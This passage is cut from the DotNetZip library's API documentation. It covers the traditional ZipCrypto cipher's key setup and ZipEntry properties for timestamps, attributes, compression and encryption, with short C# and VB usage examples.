documentation. It's a waste of your time. Go do something else. + Check the football scores. Go get an ice cream with a friend. + Seriously. + + + + + + From AppNote.txt: + unsigned char decrypt_byte() + local unsigned short temp + temp :=- Key(2) | 2 + decrypt_byte := (temp * (temp ^ 1)) bitshift-right 8 + end decrypt_byte + + + + + Call this method on a cipher text to render the plaintext. You must + first initialize the cipher with a call to InitCipher. + + + + + var cipher = new ZipCrypto(); + cipher.InitCipher(Password); + // Decrypt the header. This has a side effect of "further initializing the + // encryption keys" in the traditional zip encryption. + byte[] DecryptedMessage = cipher.DecryptMessage(EncryptedMessage); + + + + The encrypted buffer. + + The number of bytes to encrypt. + Should be less than or equal to CipherText.Length. + + + The plaintext. + + + + This is the converse of DecryptMessage. It encrypts the plaintext + and produces a ciphertext. + + + The plain text buffer. + + + The number of bytes to encrypt. + Should be less than or equal to plainText.Length. + + + The ciphertext. + + + + This initializes the cipher with the given password. + See AppNote.txt for details. + + + + The passphrase for encrypting or decrypting with this cipher. + + + + + Step 1 - Initializing the encryption keys + ----------------------------------------- + Start with these keys: + Key(0) := 305419896 (0x12345678) + Key(1) := 591751049 (0x23456789) + Key(2) := 878082192 (0x34567890) + + Then, initialize the keys with a password: + + loop for i from 0 to length(password)-1 + update_keys(password(i)) + end loop + + Where update_keys() is defined as: + + update_keys(char): + Key(0) := crc32(key(0),char) + Key(1) := Key(1) + (Key(0) bitwiseAND 000000ffH) + Key(1) := Key(1) * 134775813 + 1 + Key(2) := crc32(key(2),key(1) rightshift 24) + end update_keys + + Where crc32(old_crc,char) is a routine that given a CRC value and a + character, returns an updated CRC value after applying the CRC-32 + algorithm described elsewhere in this document. + + + + + After the keys are initialized, then you can use the cipher to + encrypt the plaintext. + + + + Essentially we encrypt the password with the keys, then discard the + ciphertext for the password. This initializes the keys for later use. + + + + + + + A Stream for reading and concurrently decrypting data from a zip file, + or for writing and concurrently encrypting data to a zip file. + + + + The constructor. + The underlying stream + To either encrypt or decrypt. + The pre-initialized ZipCrypto object. + + + + Represents a single entry in a ZipFile. Typically, applications get a ZipEntry + by enumerating the entries within a ZipFile, or by adding an entry to a ZipFile. + + + + + True if the referenced entry is a directory. + + + + + Provides a human-readable string with information about the ZipEntry. + + + + + Reads one entry from the zip directory structure in the zip file. + + + + The zipfile for which a directory entry will be read. From this param, the + method gets the ReadStream and the expected text encoding + (ProvisionalAlternateEncoding) which is used if the entry is not marked + UTF-8. + + + + a list of previously seen entry names; used to prevent duplicates. + + + the entry read from the archive. + + + + Returns true if the passed-in value is a valid signature for a ZipDirEntry. + + the candidate 4-byte signature value. + true, if the signature is valid according to the PKWare spec. + + + + Default constructor. + + + Applications should never need to call this directly. It is exposed to + support COM Automation environments. + + + + + The time and date at which the file indicated by the ZipEntry was + last modified. + + + + + The DotNetZip library sets the LastModified value for an entry, equal to + the Last Modified time of the file in the filesystem. If an entry is + added from a stream, the library uses System.DateTime.Now for this + value, for the given entry. + + + + This property allows the application to retrieve and possibly set the + LastModified value on an entry, to an arbitrary value. values with a + setting of DateTimeKind.Unspecified are taken to be expressed as + DateTimeKind.Local. + + + + Be aware that because of the way PKWare's + Zip specification describes how times are stored in the zip file, + the full precision of the System.DateTime datatype is not stored + for the last modified time when saving zip files. For more information on + how times are formatted, see the PKZip specification. + + + + The actual last modified time of a file can be stored in multiple ways in + the zip file, and they are not mutually exclusive: + + + + + In the so-called "DOS" format, which has a 2-second precision. Values + are rounded to the nearest even second. For example, if the time on the + file is 12:34:43, then it will be stored as 12:34:44. This first value + is accessible via the LastModified property. This value is always + present in the metadata for each zip entry. In some cases the value is + invalid, or zero. + + + + In the so-called "Windows" or "NTFS" format, as an 8-byte integer + quantity expressed as the number of 1/10 milliseconds (in other words + the number of 100 nanosecond units) since January 1, 1601 (UTC). This + format is how Windows represents file times. This time is accessible + via the ModifiedTime property. + + + + In the "Unix" format, a 4-byte quantity specifying the number of seconds since + January 1, 1970 UTC. + + + + In an older format, now deprecated but still used by some current + tools. This format is also a 4-byte quantity specifying the number of + seconds since January 1, 1970 UTC. + + + + + + Zip tools and libraries will always at least handle (read or write) the + DOS time, and may also handle the other time formats. Keep in mind that + while the names refer to particular operating systems, there is nothing in + the time formats themselves that prevents their use on other operating + systems. + + + + When reading ZIP files, the DotNetZip library reads the Windows-formatted + time, if it is stored in the entry, and sets both LastModified and + ModifiedTime to that value. When writing ZIP files, the DotNetZip + library by default will write both time quantities. It can also emit the + Unix-formatted time if desired (See .) + + + + The last modified time of the file created upon a call to + ZipEntry.Extract() may be adjusted during extraction to compensate + for differences in how the .NET Base Class Library deals with daylight + saving time (DST) versus how the Windows filesystem deals with daylight + saving time. Raymond Chen provides + some good context. + + + + In a nutshell: Daylight savings time rules change regularly. In 2007, for + example, the inception week of DST changed. In 1977, DST was in place all + year round. In 1945, likewise. And so on. Win32 does not attempt to + guess which time zone rules were in effect at the time in question. It + will render a time as "standard time" and allow the app to change to DST + as necessary. .NET makes a different choice. + + + + Compare the output of FileInfo.LastWriteTime.ToString("f") with what you + see in the Windows Explorer property sheet for a file that was last + written to on the other side of the DST transition. For example, suppose + the file was last modified on October 17, 2003, during DST but DST is not + currently in effect. Explorer's file properties reports Thursday, October + 17, 2003, 8:45:38 AM, but .NETs FileInfo reports Thursday, October 17, + 2003, 9:45 AM. + + + + Win32 says, "Thursday, October 17, 2002 8:45:38 AM PST". Note: Pacific + STANDARD Time. Even though October 17 of that year occurred during Pacific + Daylight Time, Win32 displays the time as standard time because that's + what time it is NOW. + + + + .NET BCL assumes that the current DST rules were in place at the time in + question. So, .NET says, "Well, if the rules in effect now were also in + effect on October 17, 2003, then that would be daylight time" so it + displays "Thursday, October 17, 2003, 9:45 AM PDT" - daylight time. + + + + So .NET gives a value which is more intuitively correct, but is also + potentially incorrect, and which is not invertible. Win32 gives a value + which is intuitively incorrect, but is strictly correct. + + + + Because of this funkiness, this library adds one hour to the LastModified + time on the extracted file, if necessary. That is to say, if the time in + question had occurred in what the .NET Base Class Library assumed to be + DST. This assumption may be wrong given the constantly changing DST rules, + but it is the best we can do. + + + + + + + + Ability to set Last Modified DOS time to zero + (for using with EmitTimesInWindowsFormatWhenSaving+EmitTimesInUnixFormatWhenSaving setted to false) + some flasher hardware use as marker of first binary + + + + + Last Modified time for the file represented by the entry. + + + + + + This value corresponds to the "last modified" time in the NTFS file times + as described in the Zip + specification. When getting this property, the value may be + different from . When setting the property, + the property also gets set, but with a lower + precision. + + + + Let me explain. It's going to take a while, so get + comfortable. Originally, waaaaay back in 1989 when the ZIP specification + was originally described by the esteemed Mr. Phil Katz, the dominant + operating system of the time was MS-DOS. MSDOS stored file times with a + 2-second precision, because, c'mon, who is ever going to need better + resolution than THAT? And so ZIP files, regardless of the platform on + which the zip file was created, store file times in exactly the same format that DOS used + in 1989. + + + + Since then, the ZIP spec has evolved, but the internal format for file + timestamps remains the same. Despite the fact that the way times are + stored in a zip file is rooted in DOS heritage, any program on any + operating system can format a time in this way, and most zip tools and + libraries DO - they round file times to the nearest even second and store + it just like DOS did 25+ years ago. + + + + PKWare extended the ZIP specification to allow a zip file to store what + are called "NTFS Times" and "Unix(tm) times" for a file. These are the + last write, last access, and file creation + times of a particular file. These metadata are not actually specific + to NTFS or Unix. They are tracked for each file by NTFS and by various + Unix filesystems, but they are also tracked by other filesystems, too. + The key point is that the times are formatted in the zip file + in the same way that NTFS formats the time (ticks since win32 epoch), + or in the same way that Unix formats the time (seconds since Unix + epoch). As with the DOS time, any tool or library running on any + operating system is capable of formatting a time in one of these ways + and embedding it into the zip file. + + + + These extended times are higher precision quantities than the DOS time. + As described above, the (DOS) LastModified has a precision of 2 seconds. + The Unix time is stored with a precision of 1 second. The NTFS time is + stored with a precision of 0.0000001 seconds. The quantities are easily + convertible, except for the loss of precision you may incur. + + + + A zip archive can store the {C,A,M} times in NTFS format, in Unix format, + or not at all. Often a tool running on Unix or Mac will embed the times + in Unix format (1 second precision), while WinZip running on Windows might + embed the times in NTFS format (precision of of 0.0000001 seconds). When + reading a zip file with these "extended" times, in either format, + DotNetZip represents the values with the + ModifiedTime, AccessedTime and CreationTime + properties on the ZipEntry. + + + + While any zip application or library, regardless of the platform it + runs on, could use any of the time formats allowed by the ZIP + specification, not all zip tools or libraries do support all these + formats. Storing the higher-precision times for each entry is + optional for zip files, and many tools and libraries don't use the + higher precision quantities at all. The old DOS time, represented by + , is guaranteed to be present, though it + sometimes unset. + + + + Ok, getting back to the question about how the LastModified + property relates to this ModifiedTime + property... LastModified is always set, while + ModifiedTime is not. (The other times stored in the NTFS + times extension, CreationTime and AccessedTime also + may not be set on an entry that is read from an existing zip file.) + When reading a zip file, then LastModified takes the DOS time + that is stored with the file. If the DOS time has been stored as zero + in the zipfile, then this library will use DateTime.Now for the + LastModified value. If the ZIP file was created by an evolved + tool, then there will also be higher precision NTFS or Unix times in + the zip file. In that case, this library will read those times, and + set LastModified and ModifiedTime to the same value, the + one corresponding to the last write time of the file. If there are no + higher precision times stored for the entry, then ModifiedTime + remains unset (likewise AccessedTime and CreationTime), + and LastModified keeps its DOS time. + + + + When creating zip files with this library, by default the extended time + properties (ModifiedTime, AccessedTime, and + CreationTime) are set on the ZipEntry instance, and these data are + stored in the zip archive for each entry, in NTFS format. If you add an + entry from an actual filesystem file, then the entry gets the actual file + times for that file, to NTFS-level precision. If you add an entry from a + stream, or a string, then the times get the value DateTime.Now. In + this case LastModified and ModifiedTime will be identical, + to 2 seconds of precision. You can explicitly set the + CreationTime, AccessedTime, and ModifiedTime of an + entry using the property setters. If you want to set all of those + quantities, it's more efficient to use the method. Those + changes are not made permanent in the zip file until you call or one of its cousins. + + + + When creating a zip file, you can override the default behavior of + this library for formatting times in the zip file, disabling the + embedding of file times in NTFS format or enabling the storage of file + times in Unix format, or both. You may want to do this, for example, + when creating a zip file on Windows, that will be consumed on a Mac, + by an application that is not hip to the "NTFS times" format. To do + this, use the and + properties. A valid zip + file may store the file times in both formats. But, there are no + guarantees that a program running on Mac or Linux will gracefully + handle the NTFS-formatted times when Unix times are present, or that a + non-DotNetZip-powered application running on Windows will be able to + handle file times in Unix format. DotNetZip will always do something + reasonable; other libraries or tools may not. When in doubt, test. + + + + I'll bet you didn't think one person could type so much about time, eh? + And reading it was so enjoyable, too! Well, in appreciation, maybe you + should donate? + + + + + + + + + + + Last Access time for the file represented by the entry. + + + This value may or may not be meaningful. If the ZipEntry was read from an existing + Zip archive, this information may not be available. For an explanation of why, see + . + + + + + + + + The file creation time for the file represented by the entry. + + + + This value may or may not be meaningful. If the ZipEntry was read + from an existing zip archive, and the creation time was not set on the entry + when the zip file was created, then this property may be meaningless. For an + explanation of why, see . + + + + + + + + Sets the NTFS Creation, Access, and Modified times for the given entry. + + + + + When adding an entry from a file or directory, the Creation, Access, and + Modified times for the given entry are automatically set from the + filesystem values. When adding an entry from a stream or string, the + values are implicitly set to DateTime.Now. The application may wish to + set these values to some arbitrary value, before saving the archive, and + can do so using the various setters. If you want to set all of the times, + this method is more efficient. + + + + The values you set here will be retrievable with the , and properties. + + + + When this method is called, if both and are false, then the + EmitTimesInWindowsFormatWhenSaving flag is automatically set. + + + + DateTime values provided here without a DateTimeKind are assumed to be Local Time. + + + + the creation time of the entry. + the last access time of the entry. + the last modified time of the entry. + + + + + + + + + + Specifies whether the Creation, Access, and Modified times for the given + entry will be emitted in "Windows format" when the zip archive is saved. + + + + + An application creating a zip archive can use this flag to explicitly + specify that the file times for the entry should or should not be stored + in the zip archive in the format used by Windows. The default value of + this property is true. + + + + When adding an entry from a file or directory, the Creation (), Access (), and Modified + () times for the given entry are automatically + set from the filesystem values. When adding an entry from a stream or + string, all three values are implicitly set to DateTime.Now. Applications + can also explicitly set those times by calling . + + + + PKWARE's + zip specification describes multiple ways to format these times in a + zip file. One is the format Windows applications normally use: 100ns ticks + since Jan 1, 1601 UTC. The other is a format Unix applications typically + use: seconds since January 1, 1970 UTC. Each format can be stored in an + "extra field" in the zip entry when saving the zip archive. The former + uses an extra field with a Header Id of 0x000A, while the latter uses a + header ID of 0x5455. + + + + Not all zip tools and libraries can interpret these fields. Windows + compressed folders is one that can read the Windows Format timestamps, + while I believe the Infozip + tools can read the Unix format timestamps. Although the time values are + easily convertible, subject to a loss of precision, some tools and + libraries may be able to read only one or the other. DotNetZip can read or + write times in either or both formats. + + + + The times stored are taken from , , and . + + + + This property is not mutually exclusive from the property. It is + possible that a zip entry can embed the timestamps in both forms, one + form, or neither. But, there are no guarantees that a program running on + Mac or Linux will gracefully handle NTFS Formatted times, or that a + non-DotNetZip-powered application running on Windows will be able to + handle file times in Unix format. When in doubt, test. + + + + Normally you will use the ZipFile.EmitTimesInWindowsFormatWhenSaving + property, to specify the behavior for all entries in a zip, rather than + the property on each individual entry. + + + + + + + + + + + + + Specifies whether the Creation, Access, and Modified times for the given + entry will be emitted in "Unix(tm) format" when the zip archive is saved. + + + + + An application creating a zip archive can use this flag to explicitly + specify that the file times for the entry should or should not be stored + in the zip archive in the format used by Unix. By default this flag is + false, meaning the Unix-format times are not stored in the zip + archive. + + + + When adding an entry from a file or directory, the Creation (), Access (), and Modified + () times for the given entry are automatically + set from the filesystem values. When adding an entry from a stream or + string, all three values are implicitly set to DateTime.Now. Applications + can also explicitly set those times by calling . + + + + PKWARE's + zip specification describes multiple ways to format these times in a + zip file. One is the format Windows applications normally use: 100ns ticks + since Jan 1, 1601 UTC. The other is a format Unix applications typically + use: seconds since Jan 1, 1970 UTC. Each format can be stored in an + "extra field" in the zip entry when saving the zip archive. The former + uses an extra field with a Header Id of 0x000A, while the latter uses a + header ID of 0x5455. + + + + Not all tools and libraries can interpret these fields. Windows + compressed folders is one that can read the Windows Format timestamps, + while I believe the Infozip + tools can read the Unix format timestamps. Although the time values are + easily convertible, subject to a loss of precision, some tools and + libraries may be able to read only one or the other. DotNetZip can read or + write times in either or both formats. + + + + The times stored are taken from , , and . + + + + This property is not mutually exclusive from the property. It is + possible that a zip entry can embed the timestamps in both forms, one + form, or neither. But, there are no guarantees that a program running on + Mac or Linux will gracefully handle NTFS Formatted times, or that a + non-DotNetZip-powered application running on Windows will be able to + handle file times in Unix format. When in doubt, test. + + + + Normally you will use the ZipFile.EmitTimesInUnixFormatWhenSaving + property, to specify the behavior for all entries, rather than the + property on each individual entry. + + + + + + + + + + + + + The type of timestamp attached to the ZipEntry. + + + + This property is valid only for a ZipEntry that was read from a zip archive. + It indicates the type of timestamp attached to the entry. + + + + + + + + The file attributes for the entry. + + + + + + The attributes in NTFS include + ReadOnly, Archive, Hidden, System, and Indexed. When adding a + ZipEntry to a ZipFile, these attributes are set implicitly when + adding an entry from the filesystem. When adding an entry from a stream + or string, the Attributes are not set implicitly. Regardless of the way + an entry was added to a ZipFile, you can set the attributes + explicitly if you like. + + + + When reading a ZipEntry from a ZipFile, the attributes are + set according to the data stored in the ZipFile. If you extract the + entry from the archive to a filesystem file, DotNetZip will set the + attributes on the resulting file accordingly. + + + + The attributes can be set explicitly by the application. For example the + application may wish to set the FileAttributes.ReadOnly bit for all + entries added to an archive, so that on unpack, this attribute will be set + on the extracted file. Any changes you make to this property are made + permanent only when you call a Save() method on the ZipFile + instance that contains the ZipEntry. + + + + For example, an application may wish to zip up a directory and set the + ReadOnly bit on every file in the archive, so that upon later extraction, + the resulting files will be marked as ReadOnly. Not every extraction tool + respects these attributes, but if you unpack with DotNetZip, as for + example in a self-extracting archive, then the attributes will be set as + they are stored in the ZipFile. + + + + These attributes may not be interesting or useful if the resulting archive + is extracted on a non-Windows platform. How these attributes get used + upon extraction depends on the platform and tool used. + + + + + + + The name of the filesystem file, referred to by the ZipEntry. + + + + + This property specifies the thing-to-be-zipped on disk, and is set only + when the ZipEntry is being created from a filesystem file. If the + ZipFile is instantiated by reading an existing .zip archive, then + the LocalFileName will be null (Nothing in VB). + + + + When it is set, the value of this property may be different than , which is the path used in the archive itself. If you + call Zip.AddFile("foop.txt", AlternativeDirectory), then the path + used for the ZipEntry within the zip archive will be different + than this path. + + + + If the entry is being added from a stream, then this is null (Nothing in VB). + + + + + + + + The name of the file contained in the ZipEntry. + + + + + + This is the name of the entry in the ZipFile itself. When creating + a zip archive, if the ZipEntry has been created from a filesystem + file, via a call to or , or a related overload, the value + of this property is derived from the name of that file. The + FileName property does not include drive letters, and may include a + different directory path, depending on the value of the + directoryPathInArchive parameter used when adding the entry into + the ZipFile. + + + + In some cases there is no related filesystem file - for example when a + ZipEntry is created using or one of the similar overloads. In this case, the value of + this property is derived from the fileName and the directory path passed + to that method. + + + + When reading a zip file, this property takes the value of the entry name + as stored in the zip file. If you extract such an entry, the extracted + file will take the name given by this property. + + + + Applications can set this property when creating new zip archives or when + reading existing archives. When setting this property, the actual value + that is set will replace backslashes with forward slashes, in accordance + with the Zip + specification, for compatibility with Unix(tm) and ... get + this.... Amiga! + + + + If an application reads a ZipFile via or a related overload, and then explicitly + sets the FileName on an entry contained within the ZipFile, and + then calls , the application will effectively + rename the entry within the zip archive. + + + + If an application sets the value of FileName, then calls + Extract() on the entry, the entry is extracted to a file using the + newly set value as the filename. The FileName value is made + permanent in the zip archive only after a call to one of the + ZipFile.Save() methods on the ZipFile that contains the + ZipEntry. + + + + If an application attempts to set the FileName to a value that + would result in a duplicate entry in the ZipFile, an exception is + thrown. + + + + When a ZipEntry is contained within a ZipFile, applications + cannot rename the entry within the context of a foreach (For + Each in VB) loop, because of the way the ZipFile stores + entries. If you need to enumerate through all the entries and rename one + or more of them, use ZipFile.EntriesSorted as the + collection. See also, ZipFile.GetEnumerator(). + + + + + + + The stream that provides content for the ZipEntry. + + + + + + The application can use this property to set the input stream for an + entry on a just-in-time basis. Imagine a scenario where the application + creates a ZipFile comprised of content obtained from hundreds of + files, via calls to AddFile(). The DotNetZip library opens streams + on these files on a just-in-time basis, only when writing the entry out to + an external store within the scope of a ZipFile.Save() call. Only + one input stream is opened at a time, as each entry is being written out. + + + + Now imagine a different application that creates a ZipFile + with content obtained from hundreds of streams, added through . Normally the + application would supply an open stream to that call. But when large + numbers of streams are being added, this can mean many open streams at one + time, unnecessarily. + + + + To avoid this, call and specify delegates that open and close the stream at + the time of Save. + + + + + Setting the value of this property when the entry was not added from a + stream (for example, when the ZipEntry was added with or , or when the entry was added by + reading an existing zip archive) will throw an exception. + + + + + + + + A flag indicating whether the InputStream was provided Just-in-time. + + + + + + When creating a zip archive, an application can obtain content for one or + more of the ZipEntry instances from streams, using the method. At the time + of calling that method, the application can supply null as the value of + the stream parameter. By doing so, the application indicates to the + library that it will provide a stream for the entry on a just-in-time + basis, at the time one of the ZipFile.Save() methods is called and + the data for the various entries are being compressed and written out. + + + + In this case, the application can set the + property, typically within the SaveProgress event (event type: ) for that entry. + + + + The application will later want to call Close() and Dispose() on that + stream. In the SaveProgress event, when the event type is , the application can + do so. This flag indicates that the stream has been provided by the + application on a just-in-time basis and that it is the application's + responsibility to call Close/Dispose on that stream. + + + + + + + + An enum indicating the source of the ZipEntry. + + + + + The version of the zip engine needed to read the ZipEntry. + + + + + This is a readonly property, indicating the version of the Zip + specification that the extracting tool or library must support to + extract the given entry. Generally higher versions indicate newer + features. Older zip engines obviously won't know about new features, and + won't be able to extract entries that depend on those newer features. + + + + + value + Features + + + + 20 + a basic Zip Entry, potentially using PKZIP encryption. + + + + + 45 + The ZIP64 extension is used on the entry. + + + + + 46 + File is compressed using BZIP2 compression* + + + + 50 + File is encrypted using PkWare's DES, 3DES, (broken) RC2 or RC4 + + + + 51 + File is encrypted using PKWare's AES encryption or corrected RC2 encryption. + + + + 52 + File is encrypted using corrected RC2-64 encryption** + + + + 61 + File is encrypted using non-OAEP key wrapping*** + + + + 63 + File is compressed using LZMA, PPMd+, Blowfish, or Twofish + + + + + + There are other values possible, not listed here. DotNetZip supports + regular PKZip encryption, and ZIP64 extensions. DotNetZip cannot extract + entries that require a zip engine higher than 45. + + + + This value is set upon reading an existing zip file, or after saving a zip + archive. + + + + + + The comment attached to the ZipEntry. + + + + + Each entry in a zip file can optionally have a comment associated to + it. The comment might be displayed by a zip tool during extraction, for + example. + + + + By default, the Comment is encoded in IBM437 code page. You can + specify an alternative with and + . + + + + + + + + Indicates whether the entry requires ZIP64 extensions. + + + + + + This property is null (Nothing in VB) until a Save() method on the + containing instance has been called. The property is + non-null (HasValue is true) only after a Save() method has + been called. + + + + After the containing ZipFile has been saved, the Value of this + property is true if any of the following three conditions holds: the + uncompressed size of the entry is larger than 0xFFFFFFFF; the compressed + size of the entry is larger than 0xFFFFFFFF; the relative offset of the + entry within the zip archive is larger than 0xFFFFFFFF. These quantities + are not known until a Save() is attempted on the zip archive and + the compression is applied. + + + + If none of the three conditions holds, then the Value is false. + + + + A Value of false does not indicate that the entry, as saved in the + zip archive, does not use ZIP64. It merely indicates that ZIP64 is + not required. An entry may use ZIP64 even when not required if + the property on the containing + ZipFile instance is set to , or if + the property on the containing + ZipFile instance is set to + and the output stream was not seekable. + + + + + + + + Indicates whether the entry actually used ZIP64 extensions, as it was most + recently written to the output file or stream. + + + + + + This Nullable property is null (Nothing in VB) until a Save() + method on the containing instance has been + called. HasValue is true only after a Save() method has been + called. + + + + The value of this property for a particular ZipEntry may change + over successive calls to Save() methods on the containing ZipFile, + even if the file that corresponds to the ZipEntry does not. This + may happen if other entries contained in the ZipFile expand, + causing the offset for this particular entry to exceed 0xFFFFFFFF. + + + + + + + The bitfield for the entry as defined in the zip spec. You probably + never need to look at this. + + + + + You probably do not need to concern yourself with the contents of this + property, but in case you do: + + + + + bit + meaning + + + + 0 + set if encryption is used. + + + + 1-2 + + set to determine whether normal, max, fast deflation. DotNetZip library + always leaves these bits unset when writing (indicating "normal" + deflation"), but can read an entry with any value here. + + + + + 3 + + Indicates that the Crc32, Compressed and Uncompressed sizes are zero in the + local header. This bit gets set on an entry during writing a zip file, when + it is saved to a non-seekable output stream. + + + + + + 4 + reserved for "enhanced deflating". This library doesn't do enhanced deflating. + + + + 5 + set to indicate the zip is compressed patched data. This library doesn't do that. + + + + 6 + + set if PKWare's strong encryption is used (must also set bit 1 if bit 6 is + set). This bit is not set if WinZip's AES encryption is set. + + + + 7 + not used + + + + 8 + not used + + + + 9 + not used + + + + 10 + not used + + + + 11 + + Language encoding flag (EFS). If this bit is set, the filename and comment + fields for this file must be encoded using UTF-8. This library currently + does not support UTF-8. + + + + + 12 + Reserved by PKWARE for enhanced compression. + + + + 13 + + Used when encrypting the Central Directory to indicate selected data + values in the Local Header are masked to hide their actual values. See + the section in the Zip + specification describing the Strong Encryption Specification for + details. + + + + + 14 + Reserved by PKWARE. + + + + 15 + Reserved by PKWARE. + + + + + + + + + The compression method employed for this ZipEntry. + + + + + + The + Zip specification allows a variety of compression methods. This + library supports just two: 0x08 = Deflate. 0x00 = Store (no compression), + for reading or writing. + + + + When reading an entry from an existing zipfile, the value you retrieve + here indicates the compression method used on the entry by the original + creator of the zip. When writing a zipfile, you can specify either 0x08 + (Deflate) or 0x00 (None). If you try setting something else, you will get + an exception. + + + + You may wish to set CompressionMethod to CompressionMethod.None (0) + when zipping already-compressed data like a jpg, png, or mp3 file. + This can save time and cpu cycles. + + + + When setting this property on a ZipEntry that is read from an + existing zip file, calling ZipFile.Save() will cause the new + CompressionMethod to be used on the entry in the newly saved zip file. + + + + Setting this property may have the side effect of modifying the + CompressionLevel property. If you set the CompressionMethod to a + value other than None, and CompressionLevel is previously + set to None, then CompressionLevel will be set to + Default. + + + + + + + In this example, the first entry added to the zip archive uses the default + behavior - compression is used where it makes sense. The second entry, + the MP3 file, is added to the archive without being compressed. + + using (ZipFile zip = new ZipFile(ZipFileToCreate)) + { + ZipEntry e1= zip.AddFile(@"notes\Readme.txt"); + ZipEntry e2= zip.AddFile(@"music\StopThisTrain.mp3"); + e2.CompressionMethod = CompressionMethod.None; + zip.Save(); + } + + + + Using zip As New ZipFile(ZipFileToCreate) + zip.AddFile("notes\Readme.txt") + Dim e2 as ZipEntry = zip.AddFile("music\StopThisTrain.mp3") + e2.CompressionMethod = CompressionMethod.None + zip.Save + End Using + + + + + + Sets the compression level to be used for the entry when saving the zip + archive. This applies only for CompressionMethod = DEFLATE. + + + + + When using the DEFLATE compression method, Varying the compression + level used on entries can affect the size-vs-speed tradeoff when + compression and decompressing data streams or files. + + + + If you do not set this property, the default compression level is used, + which normally gives a good balance of compression efficiency and + compression speed. In some tests, using BestCompression can + double the time it takes to compress, while delivering just a small + increase in compression efficiency. This behavior will vary with the + type of data you compress. If you are in doubt, just leave this setting + alone, and accept the default. + + + + When setting this property on a ZipEntry that is read from an + existing zip file, calling ZipFile.Save() will cause the new + CompressionLevel to be used on the entry in the newly saved zip file. + + + + Setting this property may have the side effect of modifying the + CompressionMethod property. If you set the CompressionLevel + to a value other than None, CompressionMethod will be set + to Deflate, if it was previously None. + + + + Setting this property has no effect if the CompressionMethod is something + other than Deflate or None. + + + + + + + + The compressed size of the file, in bytes, within the zip archive. + + + + When reading a ZipFile, this value is read in from the existing + zip file. When creating or updating a ZipFile, the compressed + size is computed during compression. Therefore the value on a + ZipEntry is valid after a call to Save() (or one of its + overloads) in that case. + + + + + + + The size of the file, in bytes, before compression, or after extraction. + + + + When reading a ZipFile, this value is read in from the existing + zip file. When creating or updating a ZipFile, the uncompressed + size is computed during compression. Therefore the value on a + ZipEntry is valid after a call to Save() (or one of its + overloads) in that case. + + + + + + + The ratio of compressed size to uncompressed size of the ZipEntry. + + + + + This is a ratio of the compressed size to the uncompressed size of the + entry, expressed as a double in the range of 0 to 100+. A value of 100 + indicates no compression at all. It could be higher than 100 when the + compression algorithm actually inflates the data, as may occur for small + files, or uncompressible data that is encrypted. + + + + You could format it for presentation to a user via a format string of + "{3,5:F0}%" to see it as a percentage. + + + + If the size of the original uncompressed file is 0, implying a + denominator of 0, the return value will be zero. + + + + This property is valid after reading in an existing zip file, or after + saving the ZipFile that contains the ZipEntry. You cannot know the + effect of a compression transform until you try it. + + + + + + + The 32-bit CRC (Cyclic Redundancy Check) on the contents of the ZipEntry. + + + + + You probably don't need to concern yourself with this. It is used + internally by DotNetZip to verify files or streams upon extraction. + + The value is a 32-bit + CRC using 0xEDB88320 for the polynomial. This is the same CRC-32 used in + PNG, MPEG-2, and other protocols and formats. It is a read-only property; when + creating a Zip archive, the CRC for each entry is set only after a call to + Save() on the containing ZipFile. When reading an existing zip file, the value + of this property reflects the stored CRC for the entry. + + + + + + True if the entry is a directory (not a file). + This is a readonly property on the entry. + + + + + A derived property that is true if the entry uses encryption. + + + + + This is a readonly property on the entry. When reading a zip file, + the value for the ZipEntry is determined by the data read + from the zip file. After saving a ZipFile, the value of this + property for each ZipEntry indicates whether encryption was + actually used (which will have been true if the was set and the property + was something other than . + + + + + + Set this to specify which encryption algorithm to use for the entry when + saving it to a zip archive. + + + + + + Set this property in order to encrypt the entry when the ZipFile is + saved. When setting this property, you must also set a on the entry. If you set a value other than on this property and do not set a + Password then the entry will not be encrypted. The ZipEntry + data is encrypted as the ZipFile is saved, when you call or one of its cousins on the containing + ZipFile instance. You do not need to specify the Encryption + when extracting entries from an archive. + + + + The Zip specification from PKWare defines a set of encryption algorithms, + and the data formats for the zip archive that support them, and PKWare + supports those algorithms in the tools it produces. Other vendors of tools + and libraries, such as WinZip or Xceed, typically support a + subset of the algorithms specified by PKWare. These tools can + sometimes support additional different encryption algorithms and data + formats, not specified by PKWare. The AES Encryption specified and + supported by WinZip is the most popular example. This library supports a + subset of the complete set of algorithms specified by PKWare and other + vendors. + + + + There is no common, ubiquitous multi-vendor standard for strong encryption + within zip files. There is broad support for so-called "traditional" Zip + encryption, sometimes called Zip 2.0 encryption, as specified + by PKWare, but this encryption is considered weak and + breakable. This library currently supports the Zip 2.0 "weak" encryption, + and also a stronger WinZip-compatible AES encryption, using either 128-bit + or 256-bit key strength. If you want DotNetZip to support an algorithm + that is not currently supported, call the author of this library and maybe + we can talk business. + + + + The class also has a property. In most cases you will use + that property when setting encryption. This property takes + precedence over any Encryption set on the ZipFile itself. + Typically, you would use the per-entry Encryption when most entries in the + zip archive use one encryption algorithm, and a few entries use a + different one. If all entries in the zip file use the same Encryption, + then it is simpler to just set this property on the ZipFile itself, when + creating a zip archive. + + + + Some comments on updating archives: If you read a ZipFile, you can + modify the Encryption on an encrypted entry: you can remove encryption + from an entry that was encrypted; you can encrypt an entry that was not + encrypted previously; or, you can change the encryption algorithm. The + changes in encryption are not made permanent until you call Save() on the + ZipFile. To effect changes in encryption, the entry content is + streamed through several transformations, depending on the modification + the application has requested. For example if the entry is not encrypted + and the application sets Encryption to PkzipWeak, then at + the time of Save(), the original entry is read and decompressed, + then re-compressed and encrypted. Conversely, if the original entry is + encrypted with PkzipWeak encryption, and the application sets the + Encryption property to WinZipAes128, then at the time of + Save(), the original entry is decrypted via PKZIP encryption and + decompressed, then re-compressed and re-encrypted with AES. This all + happens automatically within the library, but it can be time-consuming for + large entries. + + + + Additionally, when updating archives, it is not possible to change the + password when changing the encryption algorithm. To change both the + algorithm and the password, you need to Save() the zipfile twice. First + set the Encryption to None, then call Save(). Then set the + Encryption to the new value (not "None"), then call Save() + once again. + + + + The WinZip AES encryption algorithms are not supported on the .NET Compact + Framework. + + + + + + This example creates a zip archive that uses encryption, and then extracts + entries from the archive. When creating the zip archive, the ReadMe.txt + file is zipped without using a password or encryption. The other file + uses encryption. + + + // Create a zip archive with AES Encryption. + using (ZipFile zip = new ZipFile()) + { + zip.AddFile("ReadMe.txt") + ZipEntry e1= zip.AddFile("2008-Regional-Sales-Report.pdf"); + e1.Encryption= EncryptionAlgorithm.WinZipAes256; + e1.Password= "Top.Secret.No.Peeking!"; + zip.Save("EncryptedArchive.zip"); + } + + // Extract a zip archive that uses AES Encryption. + // You do not need to specify the algorithm during extraction. + using (ZipFile zip 